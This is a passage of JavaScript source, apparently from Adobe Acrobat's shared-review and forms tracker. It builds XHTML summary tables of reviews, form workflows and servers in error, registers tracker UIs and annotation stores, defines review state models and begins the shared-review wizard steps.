										<th><center>{this.cTableHeaderNumberOfComments}<br />{this.cTableHeaderNewByTotal}</center></th>

										<th><center>{this.cTableHeaderNumberOfReviewers}<br />{this.cTableHeaderNewByActive}</center></th>

									</tr>

								</table>



					    //get the reference to DIV with ID "borderedDivID"

					    var borderedDiv = null;

						

					    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

					    for each(var i in this.reviewsXHTML..xhtml::div)

					    {

						    if(i.@id == "borderedDivID")

						    {

							    borderedDiv = i;

							    break;

						    }

					    }

					    //



						borderedDiv.appendChild(tableXHTML);

						

						//sort on the basis of last update time

						for(var current = 1; current < this.aReviewsWorkflows.length; current++)

						{

							//save the current value

							var curVal = this.aReviewsWorkflows[current];

							//

		

							var trav = current - 1;

							for(; trav >= 0; trav--)

							{

								//compare current with trav

								if(this.aReviewsWorkflows[trav].iLastUpdateTime > curVal.iLastUpdateTime)

									break;

								else

									this.aReviewsWorkflows[trav + 1] = this.aReviewsWorkflows[trav];

							}



							if((trav + 1) != current)

								this.aReviewsWorkflows[trav + 1] = curVal;

						}

						//we have the sorted array here



						var evenOddRow = false;

						

						//otherwise we prepare the Reviews Section XHTML

						for(var current = 0; current < this.aReviewsWorkflows.length; current++)

						{

							var curWorkflow = this.aReviewsWorkflows[current];



							//Fix for bug 1696893 (Incorrect info being seen on the Latest Updates page for reviews in error.)

							//The workflows in error shall not be shown in the Uber Summary page

							if(curWorkflow.nNumberOfErrors == 0)

							{

								var cComments = "" + curWorkflow.nUnreadComments + " / " + curWorkflow.nTotalComments;

								

								var cReviewers = "" + curWorkflow.nNewReviewers + " / " + curWorkflow.nActiveReviewers;

															

								evenOddRow = !evenOddRow;

								var cRowColor = evenOddRow ? cTableOddRowColor : cTableEvenRowColor;

	

								//create a row (<tr>) and append as a child to tableXHTML

								var trXHTML =

									<tr bgcolor={cRowColor}>

										<td style="padding-left: 10px;"><a href={curWorkflow.cFileLink}><span class="blueLink">{curWorkflow.cFileName}</span></a></td>

										<td>{curWorkflow.cDeadline}</td>

										<td><center>{cComments}</center></td>

										<td><center>{cReviewers}</center></td>

									</tr>

								//

	

								tableXHTML.appendChild(trXHTML);

							}

						}

				},



				updateFormsXHTML: function(dialog)

				{

						var aggInfo;



						if(this.formsAggInfo == null)

						{

							app.beginPriv();

							this.formsAggInfo = FormWorkflow.getAggregateFormWorkflowInfo();//get the aggregate forms workflow info

							this.formsAggInfo.setHandler(this);//set the handler for updates

							app.endPriv();

						}

						

						//get the section feed for forms

						app.beginPriv();

						aggInfo = this.formsAggInfo.sectionFeed();

						app.endPriv();

						//this.formsSectionFeed = aggInfo;//save the aggInfo to be used while preparing "Servers section", else we have to dispatch another JS->C++ call to get the same 

						//



						var bHasAWorkflowWithTrueUpdates = false;//ie do we have a workflow without errors since we do not display workflows with errors - that will only confuse the user

						this.aFormsWorkflows = [];//initialize the array to empty

						for(var fileName in aggInfo)

						{

							var fileMap = aggInfo[fileName];

							

							this.aFormsWorkflows[this.aFormsWorkflows.length] =

							{

								cFileName: fileName,

								cFileLink: fileMap["docLink"],

								cDistributedOn: fileMap["distributedOn"],

								nTotalRecipients: fileMap["totalRecipients"],

								nTotalRespondents: fileMap["totalRespondents"],

								nNewRespondents: fileMap["newRespondents"],

								iLastUpdateTime: fileMap["lastUpdateTime"],

								nNumberOfErrors: fileMap["errors"],

								cServerName: fileMap["serverName"],

							};

							

							if(this.aFormsWorkflows[this.aFormsWorkflows.length - 1].nNumberOfErrors == 0)

								bHasAWorkflowWithTrueUpdates = true;



						    var cRecipientsResponded = "" + this.aFormsWorkflows[this.aFormsWorkflows.length - 1].nTotalRespondents;

							cRecipientsResponded += " (" + this.aFormsWorkflows[this.aFormsWorkflows.length - 1].nNewRespondents + ")";

							

							this.aFormsWorkflows[this.aFormsWorkflows.length - 1].cRecipientsResponded = cRecipientsResponded;

						}

						

						//myReviewTrackerDebugAlert("updateFormsXHTML - numbef of updated workflows = " + this.aFormsWorkflows.length);

						

						//save the XHTML in persistent variable - thats what the job of this function is

						if(!bHasAWorkflowWithTrueUpdates)

						{

							//the empty forms updates section

							this.formsXHTML = 

								<div class="summary_page">

									<span class="forms-super-iconic"><span style="font-weight:bold;">{this.cFormsUpdates}</span></span>

									<br />

									<br />

									<span>

										&#8226; {this.cNoFormsUpdates}

									</span>

									<br />

								</div>

								

							return;//job done

						}



						this.formsXHTML =	

							<div xmlns="http://www.w3.org/1999/xhtml" class="summary_page">

								<span class="forms-super-iconic"><span style="font-weight:bold;">{this.cFormsUpdates}</span></span>

								<br />

								<br />

								<div class="borderedDivSummaryPage" id="borderedDivID">

							    </div>

							</div>

							

						//different rows shall be added to the tableXHTML defined below

						var tableXHTML =

								<table id="updatedFormsList" class="borderedTable" cellpadding="15" cellspacing="0">

									<tr bgcolor={cTableHeaderColor}>

										<th style="padding-left: 10px;">{this.cTableHeaderFileName}</th>

										<th>{this.cTableHeaderDistributedOn}</th>

										<th><center>{this.cTableHeaderRespondentsAndNew}</center></th>

										<th><center>{this.cTableHeaderTotalRecipients}</center></th>

									</tr>

								</table>



					    //get the reference to DIV with ID "borderedDivID"

					    var borderedDiv = null;

						

					    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

					    for each(var i in this.formsXHTML..xhtml::div)

					    {

						    if(i.@id == "borderedDivID")

						    {

							    borderedDiv = i;

							    break;

						    }

					    }

					    //



						borderedDiv.appendChild(tableXHTML);



						//sort on the basis of last update time

						for(var current = 1; current < this.aFormsWorkflows.length; current++)

						{

							//save the current value

							var curVal = this.aFormsWorkflows[current];

							//

		

							var trav = current - 1;

							for(; trav >= 0; trav--)

							{

								//compare current with trav

								if(this.aFormsWorkflows[trav].iLastUpdateTime > curVal.iLastUpdateTime)

									break;

								else

									this.aFormsWorkflows[trav + 1] = this.aFormsWorkflows[trav];

							}

		

							if((trav + 1) != current)

								this.aFormsWorkflows[trav + 1] = curVal;

						}

						//we have the sorted array here



						var evenOddRow = false;



						var isFirstRow = true;



						//otherwise we prepare the Forms Section XHTML

						for(var current = 0; current < this.aFormsWorkflows.length; current++)

						{

							var curWorkflow = this.aFormsWorkflows[current];

							

							//Fix for bug 1696893 (Incorrect info being seen on the Latest Updates page for reviews in error.)

							//The workflows in error shall not be shown in the Uber Summary page

							if(curWorkflow.nNumberOfErrors == 0)

							{

							    //create color string

							    evenOddRow = !evenOddRow;

							    var cRowColor = evenOddRow ? cTableOddRowColor : cTableEvenRowColor;

	

								//create a row (<tr>) and append as a child to tableXHTML

								var trXHTML =

									<tr bgcolor={cRowColor}>

										<td style="padding-left: 10px;"><a href={curWorkflow.cFileLink}><span class="blueLink">{curWorkflow.cFileName}</span></a></td>

										<td>{curWorkflow.cDistributedOn}</td>

										<td><center>{curWorkflow.cRecipientsResponded}</center></td>

										<td><center>{curWorkflow.nTotalRecipients}</center></td>

									</tr>

								//

	

								tableXHTML.appendChild(trXHTML);

							}

						}

				},

				

				updateServersXHTML: function(dialog)

				{

						var oServersInfo = {};//this object will hold all servers having errors

						

						//when we reach here, we shall have the Reviews Section Array as well as Forms Section Array, which

						//we will then use to prepare the Servers Section XHTML



						//STEP 1 - handle review servers

						for(var current = 0; current < this.aReviewsWorkflows.length; current++)

						{

							var curWorkflow = this.aReviewsWorkflows[current];

							if(curWorkflow.nNumberOfErrors <= 0)

								continue;

							

							var cServerName = curWorkflow.cServerName;

							

							if(oServersInfo[cServerName] == null)

							{

								oServersInfo[cServerName] =

								{

									iLastUpdateTime: 0,

									nNumberOfErrors: 0,

								};//create a new object

							}



							oServersInfo[cServerName].nNumberOfErrors += curWorkflow.nNumberOfErrors;

							if(curWorkflow.iLastUpdateTime > oServersInfo[cServerName].iLastUpdateTime)

								oServersInfo[cServerName].iLastUpdateTime = curWorkflow.iLastUpdateTime;

						}

						//



						//STEP 2 - handle forms servers

						for(var current = 0; current < this.aFormsWorkflows.length; current++)

						{

							var curWorkflow = this.aFormsWorkflows[current];

							if(curWorkflow.nNumberOfErrors <= 0)

								continue;

							

							var cServerName = curWorkflow.cServerName;

							

							if(oServersInfo[cServerName] == null)

							{

								oServersInfo[cServerName] =

								{

									iLastUpdateTime: 0,

									nNumberOfErrors: 0,

								};//create a new object

							}



							oServersInfo[cServerName].nNumberOfErrors += curWorkflow.nNumberOfErrors;

							if(curWorkflow.iLastUpdateTime > oServersInfo[cServerName].iLastUpdateTime)

								oServersInfo[cServerName].iLastUpdateTime = curWorkflow.iLastUpdateTime;

						}

						//

						

						this.aServersInError = [];//initialize the array to empty

						for(var serverName in oServersInfo)

						{

							var serverMap = oServersInfo[serverName];

							

							this.aServersInError[this.aServersInError.length] =

							{

								cServerName: serverName,

								cServerLink: cServerItemLink + "#" + cServersURL + serverName, 

								iLastUpdateTime: serverMap.iLastUpdateTime,

								nNumberOfErrors: serverMap.nNumberOfErrors,

								nActiveWorkflows: 0,//these are computed later

							};

						}

						

						//save the XHTML in persistent variable - thats what the job of this function is

						if(this.aServersInError.length == 0)

						{

							//the empty servers updates section - we do not show it if there are no errors

							this.serversXHTML = ""; 

								

							return;//job done

						}



						this.serversXHTML =	

							<div xmlns="http://www.w3.org/1999/xhtml" class="summary_page">

								<span class="servers-super-iconic"><span style="font-weight:bold;">{this.cServerStatus}</span></span>

								<br />

								<br />

								<div class="borderedDivSummaryPage" id="borderedDivID">

							    </div>

							</div>

							

						//different rows shall be added to the tableXHTML defined below

						var tableXHTML =

								<table id="updatedFormsList" class="borderedTable" cellpadding="15" cellspacing="0">

									<tr bgcolor={cTableHeaderColor}>

										<th style="padding-left: 10px;">{this.cTableHeaderServerName}</th>

										<th><center>{this.cTableHeaderNumberOfActiveFiles}</center></th>

										<th><center>{this.cTableHeaderNumberOfErrors}</center></th>

									</tr>

								</table>



					    //get the reference to DIV with ID "borderedDivID"

					    var borderedDiv = null;

						

					    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

					    for each(var i in this.serversXHTML..xhtml::div)

					    {

						    if(i.@id == "borderedDivID")

						    {

							    borderedDiv = i;

							    break;

						    }

					    }

					    //



						borderedDiv.appendChild(tableXHTML);

						

						var evenOddRow = false;

						

						//sort on the basis of last update time

						for(var current = 1; current < this.aServersInError.length; current++)

						{

							//save the current value

							var curVal = this.aServersInError[current];

							//

		

							var trav = current - 1;

							for(; trav >= 0; trav--)

							{

								//compare current with trav

								if(this.aServersInError[trav].iLastUpdateTime > curVal.iLastUpdateTime)

									break;

								else

									this.aServersInError[trav + 1] = this.aServersInError[trav];

							}

		

							if((trav + 1) != current)

								this.aServersInError[trav + 1] = curVal;

						}

						//we have the sorted array here

						

						//otherwise we prepare the Servers Section XHTML

						for(var current = 0; current < this.aServersInError.length; current++)

						{

							var curServer = this.aServersInError[current];



							//compute the number of active workflows

							app.beginPriv();

							curServer.nActiveWorkflows += Collab.getNumberOfReviewsOnServer(curServer.cServerName);

							curServer.nActiveWorkflows += FormWorkflow.getNumberOfFormWorkflowsOnServer(curServer.cServerName);

							app.endPriv();



						    //create color string

						    evenOddRow = !evenOddRow;

						    var cRowColor = evenOddRow ? cTableOddRowColor : cTableEvenRowColor;



							//create a row (<tr>) and append as a child to tableXHTML

							var trXHTML =

								<tr bgcolor={cRowColor}>

									<td style="padding-left: 10px;"><a href={curServer.cServerLink}><span class="blueLink">{curServer.cServerName}</span></a></td>

									<td><center>{curServer.nActiveWorkflows}</center></td>

									<td><center>{curServer.nNumberOfErrors}</center></td>

								</tr>

							//



							tableXHTML.appendChild(trXHTML);

						}

				},

				

				showFeedView: function(dialog)

				{

					try

					{

						var bDisplayToggleSynchronizerIconLink = app.platform == "WIN";//Synchronizer Icon exists only for Windows



						var cDisplayToggleSynchronizerIconLink = bDisplayToggleSynchronizerIconLink ? "" : "display: none;";



						var cToggleSynchronizerLinkIconic = "";

						var cToggleBezelLinkIconic = "";

						

						var cToggleSynchronizerIcon = "";

						if(bDisplayToggleSynchronizerIconLink)

						{

							app.beginPriv();

							if(Collab.isSynchronizerIconShown)

							{

								cToggleSynchronizerIcon = AnnotsString.IDS_TRACKER_REMOVE_SYNC_ICON;

								cToggleSynchronizerLinkIconic = "turn-off-notification-in-tray-iconic";

							}

							else

							{

								cToggleSynchronizerIcon = AnnotsString.IDS_TRACKER_RESTORE_SYNC_ICON;

								cToggleSynchronizerLinkIconic = "turn-on-notification-in-tray-iconic";

							}

							app.endPriv();

						}



						var cToggleDisplayBezel = "";

						app.beginPriv();

						if(Collab.isDisplayBezelEnabled)

						{

							cToggleDisplayBezel = AnnotsString.IDS_TRACKER_REMOVE_NOTIFICATION_BEZEL;

							cToggleBezelLinkIconic = "turn-off-notification-in-acrobat-iconic";

						}

						else

						{

							cToggleDisplayBezel = AnnotsString.IDS_TRACKER_RESTORE_NOTIFICATION_BEZEL;

							cToggleBezelLinkIconic = "turn-on-notification-in-acrobat-iconic";

						}

						app.endPriv();

						

						cToggleDisplayBezel = cToggleDisplayBezel.replace("{product}", app.viewerType == "Reader" ? AnnotsString.IDS_PRODUCT_VARIANT_READER : AnnotsString.IDS_PRODUCT_VARIANT_ACROBAT);



						var cToggleSynchronizerIconLink = "acrobat:Review?toggleSynchronizerIcon";

						var cToggleDisplayBezelLink = "acrobat:Review?toggleDisplayNotificationBezel";

						

						//prepare the HTML envelope

						var viewXHTML = 

						<html xmlns="http://www.w3.org/1999/xhtml">

							<head>

								<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

								<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

							</head>



							<body>

								<div class="bread_crumb">

									{this.cLatestUpdates} &gt;

								</div>

								

								<div id="mainContainer">



								</div>

							</body>

						</html>

						//



						//find the mainContainer div element

						var mainContainerDiv = null;

						

						var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						for each(var i in viewXHTML..xhtml::div)

						{

							if(i.@id == "mainContainer")

							{

								mainContainerDiv = i;

								break;

							}

						}

						//

						

						//get reviews section

						if(this.reviewsSectionHasUpdates)

						{

							this.updateReviewsXHTML();

						}

						mainContainerDiv.appendChild(this.reviewsXHTML);

						//

						

						//get forms section

						if(this.formsSectionHasUpdates)

						{

							this.updateFormsXHTML();

						}

						mainContainerDiv.appendChild(this.formsXHTML);

						//

						

						//get servers section

						if(this.reviewsSectionHasUpdates || this.formsSectionHasUpdates)

						{

							this.updateServersXHTML();

						}

						mainContainerDiv.appendChild(this.serversXHTML);

						//

						

						var downButtonsXHTML = 

							<div class="buttons" style="margin: 20px 0 0 35px;">

								<br />

								<br />

								<a class={cToggleSynchronizerLinkIconic} style={cDisplayToggleSynchronizerIconLink} href={cToggleSynchronizerIconLink}><span class="blueLink">{cToggleSynchronizerIcon}</span></a>

								<a class={cToggleBezelLinkIconic} href={cToggleDisplayBezelLink}><span class="blueLink">{cToggleDisplayBezel}</span></a>

							</div>

						mainContainerDiv.appendChild(downButtonsXHTML);



						//after we have reached here, we have processed everything, hence the review section and forms section do not have any updates

						this.setReviewsSectionHasUpdates(0);

						this.setFormsSectionHasUpdates(0);

						//

						

						//join all of the above to form the complete HTML - and load the same

						var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						app.beginPriv();

						Collab.saveTrackerHTML(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"));

						app.endPriv();

						dialog.load({"html": stm});

						//

					}

					catch(e)

					{

						myReviewTrackerDebugAlert("EXCEPTION: " + e);

						myReviewTrackerDebugAlert(e.stack);

						console.println("EXCEPTION: " + e);

						console.println(e.stack);

					}

				},



				showEmptyView: function(dialog)

				{

					try

					{

						var LINK = function(scheme, s) { return scheme + ":" + s; }



						XML.setSettings({ignoreComments: false});



						var cWelcomeStr = AnnotsString.IDS_TRACKER_WELCOME;

						var cWhatIsReviewTitle = AnnotsString.IDS_TRACKER_NO_REVIEWS_TITLE;

						var cWhatIsReviewText = CBSetProductVariant(AnnotsString.IDS_TRACKER_NO_REVIEWS_BODY);

						var cCreateSharedReviewText = AnnotsString.IDS_TRACKER_CREATE_SHARED_REVIEW;

						var cCreateSharedReviewLink = LINK("acrobat", "Review?initiate=SharedReview");

						var cCreateEmailReviewText = AnnotsString.IDS_TRACKER_CREATE_EMAIL_REVIEW;

						var cCreateEmailReviewLink = LINK("acrobat", "Review?initiate=EmailReview");

						var cWhatIsFormTitle = AnnotsString.IDS_TRACKER_NO_FORMS_TITLE;

						var cWhatIsFormText = CBSetProductVariant(AnnotsString.IDS_TRACKER_NO_FORMS_BODY);

						var cCreateFormText = AnnotsString.IDS_TRACKER_CREATE_SHARED_FORM;

						var cCreateFormLink = LINK("acrobat", "Forms?action=createForm");

						var cDistributeFormText = AnnotsString.IDS_TRACKER_DISTRIBUTE_SHARED_FORM;

						var cDistributeFormLink = LINK("acrobat", "Forms?action=distributeForm");



					// review_list.html

						var viewXHTML = 

							<html xmlns="http://www.w3.org/1999/xhtml">

								<head>

									<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

									<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

								</head>



								<body>

									<div class="content_uber_summary_page">

										<div>

											<div class="error">

												{cWelcomeStr}

											</div>

											

											<h3>{cWhatIsReviewTitle}</h3>

											<p>

												{cWhatIsReviewText}

											</p>

										</div>

										

										<div class="buttons">

											<a href={cCreateSharedReviewLink} class="create-shared-iconic"><span class="blueLink">{cCreateSharedReviewText}</span></a>

											<a href={cCreateEmailReviewLink} class="create-email-iconic"><span class="blueLink">{cCreateEmailReviewText}</span></a>

										</div>

										

										<div>

											

											<h3>{cWhatIsFormTitle}</h3>

											<p>

												{cWhatIsFormText}

											</p>

										</div>

										

										<div class="buttons">

											<a href={cCreateFormLink} class="create-form-iconic"><span class="blueLink">{cCreateFormText}</span></a>

											<a href={cDistributeFormLink} class="distribute-form-iconic"><span class="blueLink">{cDistributeFormText}</span></a>

										</div>

									</div>

								</body>

							</html>



						var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						app.beginPriv();

						Collab.saveTrackerHTML(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"));

						app.endPriv();

						dialog.load({"html": stm});

					}

					catch(e)

					{

						console.println("EXCEPTION: " + e);

						console.println(e.stack);

						myReviewTrackerDebugAlert("EXCEPTION: " + e);

						myReviewTrackerDebugAlert(e.stack);

					}

				},



				// The Dialog Description

				description:

				{

					name: "Panel",

					elements:					// Child Element Array

					[

						{

							type: "view", 

							align: "align_center",

							align_children: "fill",

							elements: 						// Child Element Array

							[

								{

									type: "html_view", 

									item_id: "html"

								}

							]

						}

					]

				}

			};



			app.beginPriv();

			result.onSelectionChanged = app.trustedFunction(result.onSelectionChanged);

			result.showEmptyView = app.trustedFunction(result.showEmptyView);

			result.showFeedView = app.trustedFunction(result.showFeedView);

			result.updateReviewsXHTML = app.trustedFunction(result.updateReviewsXHTML);

			result.updateFormsXHTML = app.trustedFunction(result.updateFormsXHTML);

			result.updateServersXHTML = app.trustedFunction(result.updateServersXHTML);

			app.endPriv();



			return result;

		}),



		getFeedContextMenu: function(selection) { return null; },

		getItemContextMenu: function(selection) { return null; },



		canDeleteFeed: function(selection) { return false; },

		canDeleteItem: function(selection) { return false; },

	};

	

	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



	app.beginPriv();

	RSS.addUI("urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewTracker", oReviewTrackerUI);

	RSS.addUI("urn://ns.adobe.com/Acrobat/Tracker/UI/OfflineTracker", oOfflineTrackerUI);

	RSS.addUI("urn://ns.adobe.com/Acrobat/Tracker/UI/ServerTracker", oServerStatusUI);

	RSS.addUI("urn://ns.adobe.com/Acrobat/Tracker/UI/RSSSuperGroup", oRSSSuperGroupUI);

	RSS.addUI("urn://ns.adobe.com/Acrobat/Tracker/UI/ReviewsSuperGroup", oReviewsSuperGroupUI);

	RSS.addUI("urn://ns.adobe.com/Acrobat/Tracker/UI/UberSummary", oUberSummaryUI);

	app.endPriv();

}

});



InitAnnot = app.trustedFunction(function()

{

    if(typeof Collab !=	"undefined")

    {

        /* Set up default annot	stores */

    	Collab.addAnnotStore("NONE", AnnotsString.IDS_STORE_NONE,

    		{create: function(doc, user, settings){	return null; }});

   		

    	Collab.setStoreNoSettings("NONE", true);

    	if(typeof ADBC != "undefined" && app.platform == "WIN")

    	{

    		Collab.addAnnotStore("DB", AnnotsString.IDS_STORE_DATABASE,

    			{create: function(doc, user, settings){	doc.collabDBRoot = settings; doc.collabDBFlags = CBFNiceTableName; return (settings	&& settings	!= "") ? new ADBCAnnotStore(doc, user) : null; }}, null, true);

        }

    	

    	Collab.addAnnotStore("DAVFDF", AnnotsString.IDS_STORE_DAVFDF,

    		{create: function(doc, user, settings){	return (settings &&	settings !=	"")	? new FSAnnotStore(doc,	user, settings + doc.Collab.docID +	"/", fileSystem.WebDAV) :	null; }});

    	

    	Collab.addAnnotStore("FSFDF", AnnotsString.IDS_STORE_FSFDF,

    		{create: function(doc, user, settings){	return (settings &&	settings !=	"")	? new FSAnnotStore(doc,	user, settings + doc.Collab.docID +	"/") : null; }});

    	

    	Collab.setStoreFSBased("FSFDF",	true);

    

    	Collab.addStateModel

    	({

    		cName: "Review", 

    		cUIName: AnnotsString.IDS_ACTION_REVIEW,	

    		oStates:

    		{ 

    			"None":	AnnotsString.IDS_STATE_NONE,

    			"Accepted":

    			{

    				cUIName: AnnotsString.IDS_STATE_ACCEPT,

    				cIconName: "A_Accept_Sm_N.png"

    			},

    			"Rejected":	

    			{

    				cUIName: AnnotsString.IDS_STATE_REJECT,

    				cIconName: "A_Reject_Sm_N.png"

    			},

    			"Cancelled": 

    			{

    				cUIName: AnnotsString.IDS_STATE_CANCELLED,

    				cIconName: "A_Cancel_Sm_N.png"

    			},

    			"Completed": 

    			{

    				cUIName: AnnotsString.IDS_STATE_COMPLETED,

    				cIconName: "A_Complete_Sm_N.png"

    			}

    		},

    		cDefault: "None"

    	});

   

    	Collab.addStateModel

    	({

    		cName: "CollabStatus", 

    		cUIName: AnnotsString.IDS_ACTION_COLLAB,

    		oStates:

    		{

    			"Modified":	AnnotsString.IDS_STATE_COLLAB_ACTIVE,

    			"Completed": AnnotsString.IDS_STATE_COLLAB_COMPLETED

    		},

    		cDefault: "Modified",

    		bHidden: true

    	});

    

    	Collab.addStateModel

    	({

    		cName: "Marked", 

    		cUIName: AnnotsString.IDS_ACTION_MARKED,

    		oStates:

    		{

    			"Marked": AnnotsString.IDS_STATE_MARKED,

    			"Unmarked":	AnnotsString.IDS_STATE_UNMARKED

    		},

    		cDefault: "Unmarked",

    		bHidden: true,

    		bHistory: false

    	});

    	

        Collab.addStateModel

    	({

    		cName: "Privacy", 

    		cUIName: AnnotsString.IDS_ACTION_PRIVACY,

    		oStates:

    		{

    			"Public": AnnotsString.IDS_STATE_PUBLIC,

    			"Private":	AnnotsString.IDS_STATE_PRIVATE

    		},

    		cDefault: "Public",

    		bHidden: true,

    		bHistory: false

    	});

    	

        Collab.addStateModel

    	({

    		cName: "ApprovalStatus", 

    		cUIName: AnnotsString.IDS_ACTION_APPROVAL,

    		oStates:

    		{

    			"None": AnnotsString.IDS_STATE_NONE,

    			"Approve": AnnotsString.IDS_STATE_APPROVAL_CONFIRM,

    			"Reject":	AnnotsString.IDS_STATE_APPROVAL_DENY

    		},

    		cDefault: "None",

    		bHidden: true,

    		bHistory: false

    	});

    

    	Collab.addStateModel

    	({

    		cName: "Basic",

    		cUIName: AnnotsString.IDS_ACTION_BASIC,

    		oStates:

    		{

    			"Created": AnnotsString.IDS_STATE_CREATED,

    			"Modified": AnnotsString.IDS_STATE_MODIFIED,

    			"Deleted": AnnotsString.IDS_STATE_DELETED

    		},

    		cDefault: "Created",

    		bHidden: true,

    		bHistory: true

    	});

    	

       Collab.invite =	ANDefaultInvite;

    }  

});



} catch(e) {

	console.println(e.extMessage);

}



try {

//Following function has been made global while fixing the bug 2737699, as it is neeed at mulitple locations.

function encodeSMBurl(path)

{

	if (path && (path.substr(0,4) == "smb:") && path.indexOf("#") == -1)

	{

		var escapedPath = "smb:";



		path = path.substr(4);

		var components = path.split('/');

		for(var i in components)

			{

				var cmp = components[i];

				escapedPath = escapedPath + encodeURIComponent(cmp) + "/";

				DebugAlert("escapedPath :" + escapedPath);

			}

		var len = escapedPath.length;

		return escapedPath.substr(0, len-1);

	}

}



//Following function has been made global while fixing the bug 2737699, as it is neeed at mulitple locations.

// This function is to ensure that Shared Review location and file location should not be same.		

function globalCheckForSameSMBLocation (smbURL , data)

{

	

	//Changes for BUG #1805232

	//SR initiation fails when trying to upload the shared review file on the shared location where the file is originally kept

	//Get smb folder chosen for comment repository as UNC path

	var smbFolderChosenAsUNC = smbURL;

	smbFolderChosenAsUNC = smbFolderChosenAsUNC.replace(/\/+$/,"");//remove trailing slashes



	//Get File Location chosen (without the file name) as UNC path

	var fileLocationChosen = data.doc.path;

	fileLocationChosen = fileLocationChosen.substring(0, fileLocationChosen.lastIndexOf('/'));//get rid of filename

	app.beginPriv();

	fileLocationChosen = Collab.convertDIPathToPlatformPath(fileLocationChosen, true);//2nd param is true since we want to resolve mount paths as well

	app.endPriv();



	fileLocationChosen = fileLocationChosen.replace(/\/+$/,"");//remove trailing slashes

	if(smbFolderChosenAsUNC.toLowerCase() == fileLocationChosen.toLowerCase())

	{

		data.Error_DocumentLocationAndRepositoryLocationSame = true;

	}

	else

	{

		data.Error_DocumentLocationAndRepositoryLocationSame = false;

	}

}

	

function DebugAlert(string)

{

	app.beginPriv();

	//if((typeof app._DEBUG != "undefined") && app._DEBUG)

	//  app.alert(string);

	app.endPriv();

}



function DebugThrow(e)

{

    app.beginPriv();

    var isDebug = Collab.debugPrintln;

    app.endPriv();

    

    throw (""); // Note: dikumar: bug 1627205. This is done to not to show any thro messages on the console. 

    // To re-enable it for the next release remove the throw above and uncomment the following code.

/*    if (isDebug)

    	throw (e);

	else//TODO: dikumar: do nothing here

    	throw (e);

*/

}



function SharedString(strID)

{

	return AnnotsString[strID];

}



function getDriver(reviewType)

{

    switch(reviewType)

    {

         case "SharedReview":

             return "urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com";

             break;

         case "FormDistribution":

             return "urn://ns.adobe.com/Collaboration/Forms/Acrobat.com";

             break;

         default:

             return "";

             break;

    }

}



const IWEmailSteps = 

	[	

		{	

			name: "IWEmailStepDescription",

			creator: function(data) { return IWEmailStepDescription(data.reviewType); },

			heading: "",

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

			text: "",

			noSteps: true,

		},

	];

	

const IWEmailFormSteps = 

	[	

		{	

			name: "IWEmailStepDescription",

			creator: function(data) { return IWEmailStepDescription(data.reviewType); },

			heading: "",

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

			text: "",

			noSteps: true,

		},

	];

	

const IWSteps = 

	[

		{	//step 0: if no file is opened, open the browse for file dialog

			name: "IWBrowseDoc",

			creator: function(data) { return IWBrowseDoc("SharedReview", false); },

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

			text: "",

			noSteps: true,

		},

		{	//step 1: server selection step

			name: "IWDistributionServer",

			creator: function(data) { return IWDistributionServer("SharedReview", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_HEADING_SR,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

			text: "",

			noSteps: true,

		},

		{	//server selection step

			name: "IWIdentityDialog",

			creator: function(data) { return IWIdentityDialog("SharedReview", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_HEADING_SR,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

			text: "",

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterLogin",

			creator: function(data) { return IWSharedReviewDocCenterLogin("SharedReview"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterCreateID",

			creator: function(data) { return IWSharedReviewDocCenterCreateID("SharedReview"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

			noSteps: true,

		},

		{	

			name: "IWSharedReviewDocCenterCreateConfirm",

			creator: function(data) { return IWSharedReviewDocCenterCreateConfirm("SharedReview"); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

			noSteps: true,

		},

 		{	

			name: "IWNewInternalServer",

			creator: function(data) { return IWNewInternalServer(data, "SharedReview", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_HEADING_SR,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

			text: "",

			noSteps:true,

		},

		{	

			name: "IWDistributeStepDescription",

			creator: function(data) { return IWDistributeStepDescription("SharedReview", false); },

			heading: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_HEADING_SR,

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

			text: "",

			noSteps: true,

		},

		{	

			name: "IWSaveProfileStepDescription",

			creator: function(data) { return IWSaveProfileStepDescription("SharedReview"); },

			heading: "",

			title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

			text: "",

			noSteps: true,

		},

		{	

			name: "IWEmailStepDescription",

